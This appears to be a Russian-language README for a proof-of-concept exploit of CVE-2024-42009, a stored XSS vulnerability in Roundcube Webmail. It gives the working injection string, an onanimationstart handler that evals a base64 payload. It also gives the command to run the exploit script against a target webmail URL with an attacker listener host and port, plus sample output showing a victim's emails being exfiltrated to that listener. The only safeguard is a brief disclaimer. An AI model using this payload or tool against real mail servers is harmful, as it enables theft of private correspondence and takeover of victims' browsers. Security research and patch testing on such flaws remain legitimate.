
CVE-2024-42009 Доказательство концепции
Этот репозиторий содержит proof-of-concept (PoC) эксплойт для CVE-2024-42009 — сохранённой уязвимости межсайтового скриптинга (XSS) в Roundcube Webmail версии 1.6.7 и ряде других версий. Эксплойт демонстрирует, как атакующий может внедрить вредоносный JavaScript в сообщение и воспользоваться проблемой десанитизации при разборе HTML внутри сообщения, что затем может быть использовано для кражи содержимого писем из почтового ящика жертвы в этом примере или даже для полного захвата браузера жертвы.
Уязвимость межсайтового скриптинга (XSS) в Roundcube до версии 1.5.7 и в версиях 1.6.x до 1.6.7 позволяет удалённому атакующему похищать и отправлять письма жертвы с помощью специально сформированного электронного сообщения, эксплуатирующего проблему десанитизации в функции message_body() в program/actions/mail/show.php.
Эксплойт использует триггер CSS-анимации для выполнения XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
Тело разбирается как div, и нам нужно адаптироваться к этому, поэтому мы используем атрибут onanimationstart, чтобы вызвать функцию eval и выполнять из неё сложные JavaScript-вызовы. Чтобы узнать больше о том, как работает эксплойт и где находятся уязвимости в Roundcube, прочитайте эту статью.
Установите необходимые Python-пакеты:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ ВАЖНО: Этот proof-of-concept предоставлен только для образовательных и авторизованных целей тестирования. Используйте его ответственно, и эта учётная запись не несёт ответственности за любой ущерб, причинённый другими.